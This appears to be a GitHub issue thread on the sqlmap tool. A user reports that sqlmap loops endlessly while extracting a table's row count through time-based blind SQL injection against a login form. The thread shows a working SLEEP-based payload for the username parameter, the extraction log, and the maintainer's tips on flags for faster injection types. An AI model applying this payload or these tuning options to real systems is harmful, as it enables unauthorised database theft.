Fetching number of entries for table in database returns a number multiple times.

[Bosulica]

And it keeps going . Also .. I'm trying to sqlmap using forms (password and user), and both password and user injection type are Time-based blind, and it take a lot to retrieve data. Is there any way to make it faster or somehow change it's injection type?\

Parameter: username (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: username =rr' AND (SELECT * FROM (SELECT(SLEEP(5)))aRJq) AND 'raFx'='raFx&password=rq

Am I missing something?

[03:52:40] [INFO] fetching entries for table 'tablename' in database 'dbname'
[03:52:40] [INFO] fetching number of entries for table 'tablename' in database 'dbname'
[03:52:40] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:52:52] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:53:15] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:53:36] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:53:59] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:54:20] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:54:42] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:55:04] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:55:26] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:55:48] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:56:10] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
247
[03:56:30] [ERROR] invalid character detected. retrying..
[03:56:30] [WARNING] increasing time delay to 2 seconds
2
[03:56:37] [INFO] retrieved: 2472
[03:57:10] [INFO] retrieved: 2472
[03:57:42] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:58:18] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472
[03:58:54] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
2472

this seems to go on forever....

[stamparm]

Can you give me all details to miroslav@sqlmap.org? So I could reproduce this

[Bosulica]

Sure.

[Bosulica]

Have you received the email I've sent?

[stamparm]

It went to Spam folder. Will check later today

[stamparm]

There were indeed couple of bugs here. Nevertheless, you'll stick with "time-based" SQLi here.

"Your friend" which got "faster results" has run it most probably with --level=3 --risk=3 (don't forget --flush-session here). In that case you'll get also OR boolean-based blind - WHERE or HAVING clause (NOT) and Generic UNION query (don't ask me how I got this)